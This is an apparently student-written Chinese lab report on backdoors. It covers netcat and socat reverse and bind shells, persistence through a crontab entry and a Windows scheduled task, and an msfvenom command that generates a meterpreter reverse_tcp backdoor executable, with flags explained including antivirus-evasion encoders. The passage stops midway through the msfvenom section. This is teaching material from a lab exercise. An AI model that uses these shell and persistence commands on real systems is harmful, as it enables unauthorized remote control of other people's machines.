20164301 Exp2 后门原理与实践

Exp2 后门原理与实践

1.实验内容

(1)使用netcat获取主机操作Shell，cron启动

(2)使用socat获取主机操作Shell, 任务计划启动

(3)使用MSF meterpreter（或其他软件）生成可执行文件，利用ncat或socat传送到主机并运行获取主机Shell

(4)使用MSF meterpreter（或其他软件）生成获取目标主机音频、摄像头、击键记录等内容，并尝试提权

(5)可选加分内容：使用MSF生成shellcode,注入到实践1中的pwn1中，获取反弹连接Shell(1分）加分内容一并写入本实验报告。

2.基础问题回答

(1)例举你能想到的一个后门进入到你系统中的可能方式？

通过U盘传输文件时，打开的文件里面可能含有后门。

(2)例举你知道的后门如何启动起来(win及linux)的方式？

通过crontab命令，修改编辑器内容，定时启动后门
用任务计划程序启动后门，开机启动
点击被后门捆绑的软件

(3)Meterpreter有哪些给你映像深刻的功能？

通过help命令发现有各种类型的指令，功能强大，能被控制的东西太多

(4)如何发现自己有系统有没有被安装后门？

安装杀毒软件，定期对电脑进行体检和木马查杀。

3.实验过程

一、使用netcat获取主机操作Shell，cron启动

Win获得Linux Shell

（1）用ipconfig命令，查找windows的ip地址

（2）在安装有ncat.exe的目录下，输入ncat.exe -l -p 4301，打开监听，监听端口为4301

（3）在linux中输入nc 172.30.4.182 4301 -e /bin/sh，Linux反弹连接win，这里用win的ip地址

（4）windows下获得一个linux shell，可运行任何指令，如ls

通过crontab命令，定时启动任务

（1）打开监听之后，在linux中输入crontab -e,打开编辑器

crontab -e：编辑某个用户的crontab文件内容。如果不指定用户，则表示编辑当前用户的crontab文件。

在最后一行加上41 * * * * /bin/netcat 172.30.4.182 4301 -e /bin/sh

在编辑器中输入d开始插入，输入命令行后，按esc键退出插入，再输入：wq保存退出。

（2）等时间到了第41分钟，连接Windows，获得shell

二、使用socat获取主机操作Shell, 任务计划启动

（1）打开任务计划程序

（2）新建任务，设置名称

（3）编辑触发器，选择工作站锁定时

（4）新建操作，程序或脚本选择socat存在的目录

参数填入tcp-listen:4301 exec:cmd.exe,pty,stderr即cmd连接到4301端口，stderr重定向

（5）运行，win+l锁定用户后，重新开机，弹出taskeng.exe，开始运行

（6）在linux中，输入socat - tcp:172.30.4.182:4301，socat获取主机操作Shell

三、使用MSF meterpreter（或其他软件）生成可执行文件，利用ncat或socat传送到主机并运行获取主机Shell

在Metasploit Framework中，Meterpreter是一种后渗透工具，它属于一种在运行过程中可通过网络进行功能扩展的动态可扩展型Payload。

（1）在Linux中通过ifconfig指令查询linux的ip地址。

（2）再输入msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.132.128 LPORT=4301 -f exe > 20164301_backdoor.exe

表示linux反弹回连4301端口，把shellcode输出到20164301_backdoor.exe这个文件

-p 使用的payload。payload翻译为有效载荷，就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode.
-x 使用的可执行文件模板，payload(shellcode)就写入到这个可执行文件中。
-e 使用的编码器，用于对shellcode变形，为了免杀。
-i 编码器的迭代次数。如上即使用该编码器编码5次。
-b badchar是payload中需要去除的字符。
LHOST 是反弹回连的IP
LPORT 是回连的端口
-f 生成文件的类型
> 输出到哪个文件